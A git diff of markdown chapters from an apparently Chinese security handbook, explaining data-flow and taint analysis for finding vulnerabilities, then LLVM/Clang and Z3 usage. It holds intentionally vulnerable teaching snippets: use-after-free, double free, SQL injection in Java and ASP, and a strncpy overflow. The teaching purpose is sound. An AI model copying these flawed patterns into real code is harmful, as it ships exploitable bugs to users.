由于一些程序漏洞的特征恰好可以表现为特定程序变量在特定的程序点上的性质、状态或取值不满足程序安全的规定,因此数据流分析可以直接用于检测这些漏洞。 例如指针变量二次释放的问题: + ```c free(p); [...] free(p); ``` + 使用数据流分析跟踪指针变量的状态,当指针 p 被释放时,记录指针变量 p 的状态为已释放,当再次遇到对 p 的释放操作时,对 p 的状态进行检查。 有时还要考虑变量的别名问题,例如下面这样: + ```c p = q; free(q); [...] *p = 1; ``` + 这时就需要建立别名关系信息来辅助分析。 再看一个数组越界的问题: + ```c a[i] = 1; ``` + 使用数据流分析方法一方面记录数组 a 的长度,另一方面分析变量 i 的取值,并进行比较,以判断数据的访问是否越界。 ```c strcpy(x, y); ``` + 记录下变量 x 被分配空间的大小和变量 y 的长度,如果前者小于后者,则判断存在缓冲区溢出。 总的来说,基于数据流的源代码漏洞分析的原理如下图所示: -![](../pic/5.4_overview.png) +![img](../pic/5.4_overview.png) - 代码建模 - 该过程通过一系列的程序分析技术获得程序代码模型。首先通过词法分析生成词素的序列,然后通过语法分析将词素组合成抽象语法树。如果需要三地址码,则利用中间代码生成过程解析抽象语法树生成三地址码。如果采用流敏感或路径敏感的方式,则可以通过分析抽象语法树得到程序的控制流图。构造控制流图的过程是过程内的控制流分析过程。控制流还包含分析各个过程之间的调用关系的部分。通过分析过程之间的调用关系,还可以构造程序的调用图。另外,该过程还需要一些辅助支持技术,例如变量的别名分析,Java 反射机制分析,C/C++ 的函数指针或虚函数调用分析等。 @@ -66,15 +77,17 @@ strcpy(x, y); - 处理分析结果 - 对检测出的漏洞进行危害程度分类等。 - ## 方法实现 -#### 程序代码模型 + +### 程序代码模型 + 数据流分析使用的程序代码模型主要包括程序代码的中间表示以及一些关键的数据结构,利用程序代码的中间表示可以对程序语句的指令语义进行分析。 **抽象语法树(AST)**是程序抽象语法结构的树状表现形式,其每个内部节点代表一个运算符,该节点的子节点代表这个运算符的运算分量。通过描述控制转移语句的语法结构,抽象语法树在一定程度上也描述了程序的过程内代码的控制流结构。 举个例子,辗转相除法的算法描述和抽象语法树如下: -``` + +```text while b ≠ 0 if a > b a := a − b @@ -83,11 +96,12 @@ b := b − a return a ``` -![](../pic/5.4_ast.png) +![img](../pic/5.4_ast.png) **三地址码(TAC)**由一组类似于汇编语言的指令组成,每个指令具有不多于三个的运算分量。每个运算分量都像是一个寄存器。 通常的三地址码指令包括下面几种: + - `x = y op z`:表示 y 和 z 经过 op 指示的计算将结果存入 x - `x = op y`:表示运算分量 y 经过操作 op 的计算将结果存入 x - `x = y`:表示赋值操作 @@ -95,20 +109,24 @@ return a - `if x goto L`:表示条件跳转 - `x = y[i]`:表示数组赋值操作 - `x = &y`、`x = *y`:表示对地址的操作 -- ``` + + ```text param x1 param x2 call p ``` + 表示过程调用 p(x1, x2) 举个例子: -``` + +```c for (i = 0; i < 10; ++i) { - b[i] = i*i; + b[i] = i*i; } ``` -``` + +```text t1 := 0 ; initialize i L1: if t1 >= 10 goto L2 ; conditional jump t2 := t1 * t1 ; square of i @@ -124,8 +142,8 @@ L2: 看下面这个例子: -![](../pic/5.4_ssa1.png) -![](../pic/5.4_ssa2.png) +![img](../pic/5.4_ssa1.png) +![img](../pic/5.4_ssa2.png) 通过 Φ 函数在最后一个区块的起始产生一个新的定义 y3,这样程序就会根据具体的运行路径来选择是 y1 还是 y2,而在最后一个区块中,仅需要使用 y3,即可得到正确的数值。 @@ -135,7 +153,7 @@ L2: 看几个例子: -![](../pic/5.4_cfg.png) +![img](../pic/5.4_cfg.png) - (a):一个 if-then-else 语句 - (b):一个 while 循环 @@ -143,11 +161,13 @@ L2: - (d):有两个入口的循环,例如 goto 到一个 while 或者 for 循环里,不可简化 **调用图(CG)**是描述程序中过程之间的调用和被调用关系的有向图。控制图是一个节点和边的集合,并满足如下原则: + - 对程序中的每个过程都有一个节点 - 对每个调用点都有一个节点 - 如果调用点 c 调用了过程 p,就存在一条从 c 的节点到 p 的节点的边 -#### 程序建模 +### 程序建模 + 程序建模包括代码解析和辅助分析两个部分。其中代码解析过程是指词法分析、语法分析、中间代码生成以及过程内的控制流分析等基础的分析过程。辅助分析主要包括控制流分析等为数据流分析提供支持的分析过程。 在代码解析过程中,词法分析读入源程序输出词素序列,每个词素对应一个词法单元,语法分析使用词法单元的第一个分量来创建抽象语法树,中间代码生成过程将抽象语法树转化为三地址码,而三地址码常表示为静态单赋值形式。编译器在源代码编译过程中得到的中间表示及其他的数据结构可以很好地为检测程序漏洞的数据流分析所用。因此,一些分析系统将相应的代码编译器实现的某些过程或者代码解析组件作为分析系统的前端,利用这些过程或者组件获得所需的数据结构,完成堆程序源代码的解析。然而,对于解释型语言或者脚本语言编写的程序,程序代码直接被解释器解释执行,没有相应的编译器实现对程序代码的基本解析。这时,我们需要在分析系统中设计完成代码解析的各个部分。而对于某些语言如 Java,其编译后得到的中间程序被相应的虚拟机执行。这时,分析系统可以分析这个中间程序,即 .class 文件。 @@ -156,21 +176,24 @@ L2: 对于调用图的构建,如果是直接过程调用的程序,每个调用的目标都可以静态确定,则调用图中的每个调用点恰好有一条边指向一个调用过程。但如果程序使用了过程参数或者函数指针,则通过静态分析只能得到近似的估计。对于面向对象程序设计语言来说,间接调用才是常用的方式。此时需要分析调用点调用所接收对象的类型来确定调用的是哪个方法。 -#### 漏洞分析规则 +### 漏洞分析规则 + 程序漏洞通常和程序中变量的状态或者变量的取值相关。状态自动机可以描述和程序变量状态相关的漏洞分析规则,自动机的状态和变量相应的状态对应。和变量取值相关的检测规则通常包含和程序语句或者指令相关的对变量取值的记录规则以及在特定情况下变量取值需要满足的约束。 一个描述指针变量使用的有限状态自动机的例子: -![](../pic/5.4_state.png) +![img](../pic/5.4_state.png) 一个用于检测缓冲区溢出漏洞的分析变量取值的规则如下: + ```c char a[10]; // len(a) = 10; [...] strcpy(dest, src); // len(dest) > len(src); ``` -#### 静态漏洞分析 +### 静态漏洞分析 + 数据流分析检测漏洞是利用分析规则按照一定的顺序分析代码中间表示的过程。 **过程内分析**。对于抽象语法树的分析,可以按照程序执行语句的过程从右向左、自底向上地进行分析。对于三地址码的分析,则可以直接识别其操作以及操作相关的变量。 @@ -181,11 +204,13 @@ strcpy(dest, src); // len(dest) > len(src); **过程间分析**。一个简单的思路是:如果在分析某段程序中遇到过程调用语句,就分析其调用过程的内部的代码,完成分析之后再回到原来的程序段继续分析。另一种思路是借鉴基本块的分析,给过程设置上摘要,也包含前置条件和后置条件。 -#### 指向分析 +### 指向分析 + 指向分析(points-to analysis)用于回答变量指向哪些被分配空间的对象这样的问题。通过对待分析的程序使用指向分析,可以大致确定变量指向哪些对象,进而构建相对准确的调用图。指向分析常常需要虚拟一个存储空间,用于记录被分配空间的对象。 例如下面这段 Java 代码: -``` + +```text obj = new Type(); // 在虚拟存储空间记录一个对象 o,同时记录变量 obj 指向对象 o obj1 = obj2; // 如果 obj2 指向对象 o2,则记录 obj1 指向对象 o2 obj1.field = obj2; // 记录 obj1 的实例域 field 指向 obj2 指向的对象 @@ -193,7 +218,8 @@ obj2 = obj1.field; // 记录 obj2 指向对象 obj1 的实例域 field ``` 对于 C 语言的指向分析就相对复杂一些,因为 C 语言可以使用指针变量。指针变量存储的是某个对象在存储空间中的地址,所以在指向分析中,通常还要加入地址这样的信息,主要有下面四种形式的赋值语句: -``` + +```text p = q; p = &q; p = *q; @@ -202,12 +228,14 @@ p = *q; 通过指向分析,可以得到变量指向的被分配空间的对象集合。根据集合中对象的类型以及程序中类的层次结构,可以大致确定某个调用点调用的方法是哪些类中声明的方法。指向分析的结果中如果两个变量指向的对象的集合是相同的,则可以确定它们互为别名。 - ## 实例分析 -#### 检测指针变量的错误使用 + +### 检测指针变量的错误使用 + 在检测指针变量的错误使用时,我们关心的是变量的状态。 下面看一个例子: + ```c int contrived(int *p, int *w, int x) { int *q; @@ -228,19 +256,21 @@ int contrived_caller(int *w, int x, int *p) { return *w; // w use after free } ``` + 可以看到上面的代码可能出现 use-after-free 漏洞。 这里我们采用路径敏感的数据流分析,控制流图如下: -![](../pic/5.4_cfg1.png) -![](../pic/5.4_cfg2.png) +![img](../pic/5.4_cfg1.png) +![img](../pic/5.4_cfg2.png) 调用图如下: -![](../pic/5.4_cg1.png) +![img](../pic/5.4_cg1.png) 下面是用于检测指针变量错误使用的检测规则: -``` + +```text v 被分配空间 ==> v.start v.start: {kfree(v)} ==> v.free v.free: {*v} ==> v.useAfterFree @@ -250,14 +280,17 @@ v.free: {kfree(v)} ==> v.doubleFree 分析过程从函数 contrived_call 的入口点开始,对于过程内代码的分析,使用深度优先遍历控制流图的方法,并使用基本块摘要进行辅助,而对于过程间的分析,选择在遇到函数调用时直接分析被调用函数内代码的方式,并使用函数摘要。 函数 contrived 中的路径有两条: + - BB0->BB1->BB2->BB3->BB5->BB6:在进行到 BB5 时,BB5 的前置条件为 p.free, q.free 和 w.free,此时语句 `q1 = *q` 将触发 use-after-free 规则并设置 q.useAfterFree 状态。然后返回到函数 contrived_call 的 BB2,其前置条件为 p.useAfterFree, w.free,此时语句 `w1 = *w` 设置 w.useAfterFree。 - BB0->BB1->BB3->BB4->BB6:该路径是安全的。 -#### 检测缓冲区溢出 +### 检测缓冲区溢出 + 在检测缓冲区溢出时,我们关心的是变量的取值,并在一些预定义的敏感操作所在的程序点上,对变量的取值进行检查。 下面是一些记录变量的取值的规则: -``` + +```text char s[n]; // len(s) = n strcpy(des, src); // len(des) > len(src) strncpy(des, src, n); // len(des) > min(len(src), n) diff --git a/doc/5.5_taint_analysis.md b/doc/5.5_taint_analysis.md index 02d869b..da5e92a 100644 --- a/doc/5.5_taint_analysis.md +++ b/doc/5.5_taint_analysis.md @@ -9,18 +9,21 @@ - [方法实现](#方法实现) - [实例分析](#实例分析) - ## 污点分析 + ### 基本原理 + 污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中,使用污点分析技术将所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。 污点分析常常包括以下几个部分: + - 识别污点信息在程序中的产生点(Source点)并对污点信息进行标记 - 利用特定的规则跟踪分析污点信息在程序中的传播过程 - 在一些关键的程序点(Sink点)检测关键的操作是否会受到污点信息的影响 举个例子: -``` + +```text [...] scanf("%d", &x); // Source 点,输入数据被标记为污点信息,并且认为变量 x 是污染的 [...] @@ -34,15 +37,18 @@ while (i < y) // Sink 点,如果规定循环的次数不能受程序输 然而污点信息不仅可以通过数据依赖传播,还可以通过控制依赖传播。我们将通过数据依赖传播的信息流称为显式信息流,将通过控制依赖传播的信息流称为隐式信息流。 举个例子: + ```c if (x > 0) y = 1; else y = 0; ``` + 变量 y 的取值依赖于变量 x 的取值,如果变量 x 是污染的,那么变量 y 也应该是污染的。 通常我们将使用污点分析可以检测的程序漏洞称为污点类型的漏洞,例如 SQL 注入漏洞: + ```java String user = getUser(); String pass = getPass(); @@ -52,23 +58,26 @@ ResultSetrs = stam.executeQuery(sqlQuery); if (rs.next()) success = true; ``` + 在进行污点分析时,将变量 user 和 pass 标记为污染的,由于变量 sqlQuery 的值受到 user 和 pass 的影响,所以将 sqlQuery 也标记为污染的。程序将变量 sqlQuery 作为参数构造 SQL 操作语句,于是可以判定程序存在 SQL 注入漏洞。 使用污点分析检测程序漏洞的工作原理如下图所示: -![](../pic/5.5_overview.png) +![img](../pic/5.5_overview.png) - 基于数据流的污点分析。在不考虑隐式信息流的情况下,可以将污点分析看做针对污点数据的数据流分析。根据污点传播规则跟踪污点信息或者标记路径上的变量污染情况,进而检查污点信息是否影响敏感操作。 - 基于依赖关系的污点分析。考虑隐式信息流,在分析过程中,根据程序中的语句或者指令之间的依赖关系,检查 Sink 点处敏感操作是否依赖于 Source 点处接收污点信息的操作。 - ### 方法实现 + 静态污点分析系统首先对程序代码进行解析,获得程序代码的中间表示,然后在中间表示的基础上对程序代码进行控制流分析等辅助分析,以获得需要的控制流图、调用图等。在辅助分析的过程中,系统可以利用污点分析规则在中间表示上识别程序中的 Source 点和 Sink 点。最后检测系统根据污点分析规则,利用静态污点分析检查程序是否存在污点类型的漏洞。 #### 基于数据流的污点分析 + 在基于数据流的污点分析中,常常需要一些辅助分析技术,例如别名分析、取值分析等,来提高分析精度。辅助分析和污点分析交替进行,通常沿着程序路径的方向分析污点信息的流向,检查 Source 点处程序接收的污点信息是否会影响到 Sink 点处的敏感操作。 **过程内的分析**中,按照一定的顺序分析过程内的每一条语句或者指令,进而分析污点信息的流向。 + - 记录污点信息。在静态分析层面,程序变量的污染情况为主要关注对象。为记录污染信息,通常为变量添加一个污染标签。最简单的就是一个布尔型变量,表示变量是否被污染。更复杂的标签还可以记录变量的污染信息来自哪些 Source 点,甚至精确到 Source 点接收数据的哪一部分。当然也可以不使用污染标签,这时我们通过对变量进行跟踪的方式达到分析污点信息流向的目的。例如使用栈或者队列来记录被污染的变量。 - 程序语句的分析。在确定如何记录污染信息后,将对程序语句进行静态分析。通常我们主要关注赋值语句、控制转移语句以及过程调用语句三类。 - 赋值语句。 @@ -87,16 +96,18 @@ if (rs.next()) **过程间的分析**与数据流过程间分析类似,使用自底向上的分析方法,分析调用图中的每一个过程,进而对程序进行整体的分析。 #### 基于依赖关系的污点分析 + 在基于依赖关系的污点分析中,首先利用程序的中间表示、控制流图和过程调用图构造程序完整的或者局部的程序的依赖关系。在分析程序依赖关系后,根据污点分析规则,检测 Sink 点处敏感操作是否依赖于 Source 点。 分析程序依赖关系的过程可以看做是构建程序依赖图的过程。程序依赖图是一个有向图。它的节点是程序语句,它的有向边表示程序语句之间的依赖关系。程序依赖图的有向边常常包括数据依赖边和控制依赖边。在构建有一定规模的程序的依赖图时,需要按需地构建程序依赖关系,并且优先考虑和污点信息相关的程序代码。 - ### 实例分析 + 在使用污点分析方法检测程序漏洞时,污点数据相关的程序漏洞是主要关注对象,如 SQL 注入漏洞、命令注入漏洞和跨站脚本漏洞等。 下面是一个存在 SQL 注入漏洞 ASP 程序的例子: -``` + +```asp <% Set pwd = "bar" Set sql1 = "SELECT companyname FROM " & Request.Cookies("hello") @@ -114,7 +125,8 @@ if (rs.next()) ``` 首先对这段代码表示为一种三地址码的形式,例如第 3 行可以表示为: -``` + +```text a = "SELECT companyname FROM " b = "hello" param0 Request @@ -129,17 +141,20 @@ sql1 = a & c 接下来,需要识别程序中的 Source 点和 Sink 点以及初始的被污染的数据。 具体的分析过程如下: + - 调用 Request.Cookies("hello") 的返回结果是污染的,所以变量 sql1 也是污染的。 - 调用 Request.QueryString("foo") 的返回结果 sql2 是污染的。 - 函数 MySqlStuff 被调用,它的参数 sql1,sql2 都是污染的。分了分析函数的处理过程,根据第 6 行函数的声明,标记其参数 cmd1,cmd2 是污染的。 - 第 10 行是程序的 Sink 点,函数 conn.Execute 执行 SQL 操作,其参数 cmd2 是污染的,进而发现污染数据从 Source 点传播到 Sink 点。因此,认为程序存在 SQL 注入漏洞 - ## 动态污点分析 -### 基本原理 + +### 动态污点分析的基本原理 + 动态污点分析是在程序运行的基础上,对数据流或控制流进行监控,从而实现对数据在内存中的显式传播、数据误用等进行跟踪和检测。动态污点分析与静态污点分析的唯一区别在于静态污点分析技术在检测时并不真正运行程序,而是通过模拟程序的执行过程来传播污点标记,而动态污点分析技术需要运行程序,同时实时传播并检测污点标记。 动态污点分析技术可分为三个部分: + - 污点数据标记:程序攻击面是程序接受输入数据的接口集,一般由程序入口点和外部函数调用组成。在污点分析中,来自外部的输入数据会被标记为污点数据。根据输入数据来源的不同,可分为三类:网络输入、文件输入和输入设备输入。 - 污点动态跟踪:在污点数据标记的基础上,对进程进行指令粒度的动态跟踪分析,分析每一条指令的效果,直至覆盖整个程序的运行过程,跟踪数据流的传播。 - 动态污点跟踪通常基于以下三种机制 @@ -151,18 +166,21 @@ sql1 = a & c - 污点误用检查:在正确标记污点数据并对污点数据的传播进行实时跟踪后,就需要对攻击做出正确的检测即检测污点数据是否有非法使用的情况。 动态污点分析的优缺点: + - 优点:误报率较低,检测结果的可信度较高。 - 缺点: - 漏报率较高:由于程序动态运行时的代码覆盖率决定的。 - 平台相关性较高:特定的动态污点分析工具只能够解决在特定平台上运行的程序。 - 资源消耗大:包括空间上和时间上。 +### 动态污点分析的方法实现 -### 方法实现 #### 污点数据标记 + 污点数据通常主要是指软件系统所接受的外部输入数据,在计算机中,这些数据可能以内存临时数据的形式存储,也可能以文件的形式存储。当程序需要使用这些数据时,一般通过函数或系统调用来进行数据访问和处理,因此只需要对这些关键函数进行监控,即可得到程序读取或输出了什么污点信息。另外对于网络输入,也需要对网络操作函数进行监控。 识别出污点数据后,需要对污点进行标记。污点生命周期是指在该生命周期的时间范围内,污点被定义为有效。污点生命周期开始于污点创建时刻,生成污点标记,结束于污点删除时刻,清除污点标记。 + - 污点创建 - 将来自于非可靠来源的数据分配给某寄存器或内存操作数时 - 将已经标记为污点的数据通过运算分配给某寄存器或内存操作数时 @@ -172,6 +190,7 @@ sql1 = a & c - 一些会清除污点痕迹的算数运算或逻辑运算操作时 #### 污点动态跟踪 + 当污点数据从一个位置传递到另一个位置时,则认为产生了污点传播。污点传播规则: | 指令类型 | 传播规则 | 举例说明 | @@ -187,10 +206,12 @@ sql1 = a & c 对于污点信息流,通过污点跟踪和函数监控,已经能够进行污点信息流流动方向的分析。但由于缺少对象级的信息,仅靠指令级的信息流动并不能完全给出要分析的软件的确切行为。因此,需要在函数监控的基础上进行视图重建,如获取文件对象和套接字对象的详细信息,以方便进一步的分析工作。 根据漏洞分析的实际需求,污点分析应包括两方面的信息: + - 污点的传播关系,对于任一污点能够获知其传播情况。 - 对污点数据进行处理的所有指令信息,包括指令地址、操作码、操作数以及在污点处理过程中这些指令执行的先后顺序等。 污点动态跟踪的实现通常使用: + - 影子内存:真实内存中污点数据的镜像,用于存放程序执行的当前时刻所有的有效污点。 - 污点传播树:用于表示污点的传播关系。 - 污点处理指令链:用于按时间顺序存储与污点数据处理相关的所有指令。 @@ -198,7 +219,9 @@ sql1 = a & c 当遇到会引起污点传播的指令时,首先对指令中的每个操作数都通过污点快速映射查找影子内存中是否存在与之对应的影子污点从而确定其是否为污点数据,然后根据污点传播规则得到该指令引起的污点传播结果,并将传播产生的新污点添加到影子内存和污点传播树中,同时将失效污点对应的影子污点删除。同时由于一条指令是否涉及污点数据的处理,需要在污点分析过程中动态确定,因此需要在污点处理指令链中记录污点数据的指令信息。 #### 污点误用检查 + 污点敏感点,即 Sink 点,是污点数据有可能被误用的指令或系统调用点,主要分为: + - 跳转地址:检查污点数据是否用于跳转对象,如返回地址、函数指针、函数指针偏移等。具体操作是在每个跳转类指令(如call、ret、jmp等)执行前进行监控分析,保证跳转对象不是污点数据所在的内存地址。 - 格式化字符串:检查污点数据是否用作printf系列函数的格式化字符串参数。 - 系统调用参数:检查特殊系统调用的特殊参数是否为污点数据。 @@ -207,9 +230,10 @@ sql1 = a & c 在进行污点误用检查时,通常需要根据一些漏洞模式来进行检查,首先需要明确常见漏洞在二进制代码上的表现形式,然后将其提炼成漏洞模式,以更有效地指导自动化的安全分析。 +### 动态污点分析的实例分析 -### 实例分析 下面我们来看一个使用动态污点分析的方法检测缓冲区溢出漏洞的例子。 + ```c void fun(char *str) { @@ -228,10 +252,12 @@ int main(int argc, char *argv[]) return 0; } ``` + 漏洞很明显, 调用 strncpy 函数存在缓冲区溢出。 程序接受外部输入字符串的二进制代码如下: -``` + +```text 0x08048609 <+51>: lea eax,[ebp-0x2a] 0x0804860c <+54>: push eax 0x0804860d <+55>: call 0x8048400 @@ -240,8 +266,10 @@ int main(int argc, char *argv[]) 0x0804862f <+89>: push eax 0x08048630 <+90>: call 0x8048566 ``` + 程序调用 strncpy 函数的二进制代码如下: -``` + +```text 0x080485a1 <+59>: push DWORD PTR [ebp-0x2c] 0x080485a4 <+62>: call 0x8048420 0x080485a9 <+67>: add esp,0x10 @@ -250,7 +278,7 @@ int main(int argc, char *argv[]) 0x080485b0 <+74>: push DWORD PTR [ebp-0x2c] 0x080485b3 <+77>: lea eax,[ebp-0x1b] 0x080485b6 <+80>: push eax -0x080485b7 <+81>: call 0x8048440 +0x080485b7 <+81>: call 0x8048440 ``` 首先,在扫描该程序的二进制代码时,能够扫描到 `call `,该函数会读入外部输入,即程序的攻击面。确定了攻击面后,我们将分析污染源数据并进行标记,即将 `[ebp-0x2a]` 数组(即源程序中的source)标记为污点数据。程序继续执行,该污染标记会随着该值的传播而一直传递。在进入 `fun()` 函数时,该污染标记通过形参实参的映射传递到参数 `str` 上。然后运行到 Sink 点函数 `strncpy()`。该函数的第二个参数即 `str` 和 第三个参数 `strlen(str)` 都是污点数据。最后在执行 `strncpy()` 函数时,若设定了相应的漏洞规则(目标数组小于源数组),则漏洞规则将被触发,检测出缓冲区溢出漏洞。 diff --git a/doc/5.6.1_clang.md b/doc/5.6.1_clang.md index 8d70cfa..3b7fca9 100644 --- a/doc/5.6.1_clang.md +++ b/doc/5.6.1_clang.md @@ -5,16 +5,17 @@ - [内部实现](#内部实现) - [参考资料](#参考资料) - ## 简介 + Clang 一个基于 LLVM 的编译器前端,支持 C/C++/Objective-C 等语言。其开发目标是替代 GCC。 在软件安全的应用中,已经有许多代码分析工具都基于 Clang 和 LLVM,开发社区也都十分活跃。 - ## 初步使用 + 首先我们来编译安装 LLVM 和 Clang: -```bash + +```text $ svn co http://llvm.org/svn/llvm-project/llvm/trunk llvm $ cd llvm/tools $ svn co http://llvm.org/svn/llvm-project/cfe/trunk clang @@ -36,13 +37,14 @@ $ cmake --build . $ cmake --build . --target install ``` - ## 内部实现 + Clang 前端的主要流程如下: -``` + +```text Driver -> Lex -> Parse -> Sema -> CodeGen (LLVM IR) ``` - ## 参考资料 + - [llvm documentation](http://llvm.org/docs/index.html) diff --git a/doc/5.6_llvm.md b/doc/5.6_llvm.md index 09c662e..b7ead61 100644 --- a/doc/5.6_llvm.md +++ b/doc/5.6_llvm.md @@ -4,13 +4,14 @@ - [初步使用](#初步使用) - [参考资料](#参考资料) - ## 简介 + LLVM 是当今炙手可热的编译器基础框架。它从一开始就采用了模块化设计的思想,使得每一个编译阶段都被独立出来,形成了一系列的库。LLVM 使用面向对象的 C++ 语言开发,为编译器开发人员提供了易用而丰富的编程接口和 API。 - ## 初步使用 + 首先我们通过著名的 helloWorld 来熟悉下 LLVM 的使用。 + ```c #include int main() @@ -20,11 +21,14 @@ int main() ``` 将 C 源码转换成 LLVM 汇编码: -``` + +```text $ clang -emit-llvm -S hello.c -o hello.ll ``` + 生成的 LLVM IR 如下: -``` + +```text ; ModuleID = 'hello.c' source_filename = "hello.c" target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128" @@ -51,15 +55,19 @@ attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail- !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{!"clang version 5.0.1 (tags/RELEASE_501/final)"} ``` + 该过程从词法分析开始,将 C 源码分解成 token 流,然后传递给语法分析器,语法分析器在 CFG(上下文无关文法)的指导下将 token 流组织成 AST(抽象语法树),接下来进行语义分析,检查语义正确性,最后生成 IR。 LLVM bitcode 有两部分组成:位流,以及将 LLVM IR 编码成位流的编码格式。使用汇编器 llvm-as 将 LLVM IR 转换成 bitcode: -``` + +```text $ llvm-as hello.ll -o hello.bc ``` + 结果如下: -``` -$ file hello.bc + +```text +$ file hello.bc hello.bc: LLVM IR bitcode $ xxd -g1 hello.bc | head -n5 00000000: 42 43 c0 de 35 14 00 00 05 00 00 00 62 0c 30 24 BC..5.......b.0$ @@ -70,25 +78,32 @@ $ xxd -g1 hello.bc | head -n5 ``` 反过来将 bitcode 转回 LLVM IR 也是可以的,使用反汇编器 llvm-dis: -``` + +```text $ llvm-dis hello.bc -o hello.ll ``` 其实 LLVM 可以利用工具 lli 的即时编译器(JIT)直接执行 bitcode 格式的程序: -``` + +```text $ lli hello.bc hello, world ``` 接下来使用静态编译器 llc 命令可以将 bitcode 编译为特定架构的汇编语言: -``` + +```text $ llc -march=x86-64 hello.bc -o hello.s ``` + 也可以使用 clang 来生成,结果是一样的: -``` + +```text $ clang -S hello.bc -o hello.s -fomit-frame-pointer ``` + 结果如下: + ```asm .text .file "hello.c" @@ -127,6 +142,6 @@ main: # @main .section ".note.GNU-stack","",@progbits ``` - ## 参考资料 + - [llvm documentation](http://llvm.org/docs/index.html) diff --git a/doc/5.8.1_z3.md b/doc/5.8.1_z3.md index cb88fbe..7a22a3f 100644 --- a/doc/5.8.1_z3.md +++ b/doc/5.8.1_z3.md @@ -6,8 +6,8 @@ - [Z3 在 CTF 中的运用](#z3-在-ctf-中的运用) - [参考资料](#参考资料) - [Z3](https://github.com/Z3Prover/z3) 是一个由微软开发的可满足性摸理论(Satisfiability Modulo Theories,SMT)的约束求解器。所谓约束求解器就是用户使用某种特定的语言描述对象(变量)的约束条件,求解器将试图求解出能够满足所有约束条件的每个变量的值。Z3 可以用来检查满足一个或多个理论的公式的可满足性,也就是说,它可以自动化地通过内置理论对一阶逻辑多种排列进行可满足性校验。目前其支持的理论有: + - equality over free 函数和谓词符号 - 实数和整形运算(有限支持非线性运算) - 位向量 @@ -17,10 +17,11 @@ 因其强大的功能,Z3 已经被用于许多领域中,在安全领域,主要见于符号执行、Fuzzing、二进制逆向、密码学等。另外 Z3 提供了多种语言的接口,这里我们使用 Python。 - ## 安装 + 在 Linux 环境下,执行下面的命令: -``` + +```text $ git clone https://github.com/Z3Prover/z3.git $ cd z3 $ python scripts/mk_make.py --python @@ -30,12 +31,13 @@ $ sudo make install ``` 另外还可以使用 pip 来安装 Python 接口(py2和py3均可),这是二进制分析框架 angr 里内置的修改版: -``` + +```text $ sudo pip install z3-solver ``` - ## Z3 理论基础 + | Op | Mnmonics | Description | | --- | --- | --- | | 0 | true | 恒真 | @@ -50,9 +52,10 @@ $ sudo pip install z3-solver | 9 | not | 否定 | | 10 | implies | Bi-implications | - ## 使用 Z3 + 先来看一个简单的例子: + ```python >>> from z3 import * >>> x = Int('x') @@ -60,6 +63,7 @@ $ sudo pip install z3-solver >>> solve(x > 2, y < 10, x + 2*y == 7) [y = 0, x = 7] ``` + 首先定义了两个常量 x 和 y,类型是 Z3 内置的整数类型 `Int`,`solve()` 函数会创造一个 solver,然后对括号中的约束条件进行求解,注意在 Z3 默认情况下只会找到满足条件的一组解。 ```python @@ -80,9 +84,11 @@ x*x*x + 3*x*x*y + 3*x*y*y + y*y*y >>> simplify(t, mul_to_power=True) # mul_to_power 将乘法转换成乘方 x**3 + 2*y*x**2 + x**2*y + 3*x*y**2 + y**3 ``` + `simplify()` 函数用于对表达式进行化简,同时可以设置一些选项来满足不同的要求。更多选项使用 `help_simplify()` 获得。 同时,Z3 提供了一些函数可以解析表达式: + ```python >>> n = x + y >= 3 >>> "num args: ", n.num_args() @@ -100,6 +106,7 @@ x**3 + 2*y*x**2 + x**2*y + 3*x*y**2 + y**3 ``` `set_param()` 函数用于对 Z3 的全局变量进行配置,如运算精度,输出格式等等: + ```python >>> x = Real('x') >>> y = Real('y') @@ -113,6 +120,7 @@ x**3 + 2*y*x**2 + x**2*y + 3*x*y**2 + y**3 ``` 逻辑运算有 `And`、`Or`、`Not`、`Implies`、`If`,另外 `==` 表示 Bi-implications。 + ```python >>> p = Bool('p') >>> q = Bool('q') @@ -126,6 +134,7 @@ x**3 + 2*y*x**2 + x**2*y + 3*x*y**2 + y**3 ``` Z3 提供了多种 Solver,即 `Solver` 类,其中实现了很多 SMT 2.0 的命令,如 `push`, `pop`, `check` 等等。 + ```python >>> x = Int('x') >>> y = Int('y') @@ -152,7 +161,7 @@ unsat # unsatisfiable/不满足 sat >>> for c in s.assertions(): # assertions() 返回一个包含所有约束的AstVector ... print(c) -... +... x > 10 y == x + 2 >>> s.statistics() # statistics() 返回最后一个 check() 的统计信息 @@ -168,12 +177,13 @@ y == x + 2 [x = 11, y = 13] >>> for d in m.decls(): # decls() 返回 model 包含了所有符号的列表 ... print("%s = %s" % (d.name(), m[d])) -... +... x = 11 y = 13 ``` 为了将 Z3 中的数和 Python 区分开,应该使用 `IntVal()`、`RealVal()` 和 `RatVal()` 分别返回 Z3 整数、实数和有理数值。 + ```python >>> 1/3 0.3333333333333333 @@ -197,7 +207,9 @@ x + 1/4 >>> solve(3*x == 1) [x = 0.3333333333?] ``` + 在混合使用实数和整数变量时,Z3Py 会自动添加强制类型转换将整数表达式转换成实数表达式。 + ```python >>> x = Real('x') >>> y = Int('y') @@ -210,6 +222,7 @@ ToReal(y) + c ``` 现代的CPU使用固定大小的位向量进行算术运算,在 Z3 中,使用函数 `BitVec()` 创建位向量常量,`BitVecVal()` 返回给定位数的位向量值。 + ```python >>> x = BitVec('x', 16) # 16 位,命名为 x >>> y = BitVec('x', 16) @@ -229,10 +242,12 @@ x + 2 True ``` - ## Z3 在 CTF 中的运用 -#### re PicoCTF2013 Harder_Serial + +### re PicoCTF2013 Harder_Serial + 题目如下,是一段 Python 代码,要求输入一段 20 个数字构成的序列号,然后程序会对序列号的每一位进行验证,以满足各种要求。题目难度不大,但完全手工验证是一件麻烦的事,而使用 Z3 的话,只要定义好这些条件,就可以得出满足条件的值。 + ```python import sys print ("Please enter a valid serial number from your RoboCorpIntergalactic purchase") @@ -303,17 +318,23 @@ if check_serial(sys.argv[1]): else: print ("I'm sorry that is incorrect. Please use a valid RoboCorpIntergalactic serial number") ``` + 首先创建一个求解器实例,然后将序列的每个数字定义为常量: + ```python serial = [Int("serial[%d]" % i) for i in range(20)] ``` + 接着定义约束条件,注意,除了题目代码里的条件外,还有一些隐藏的条件,比如这一句: + ```python 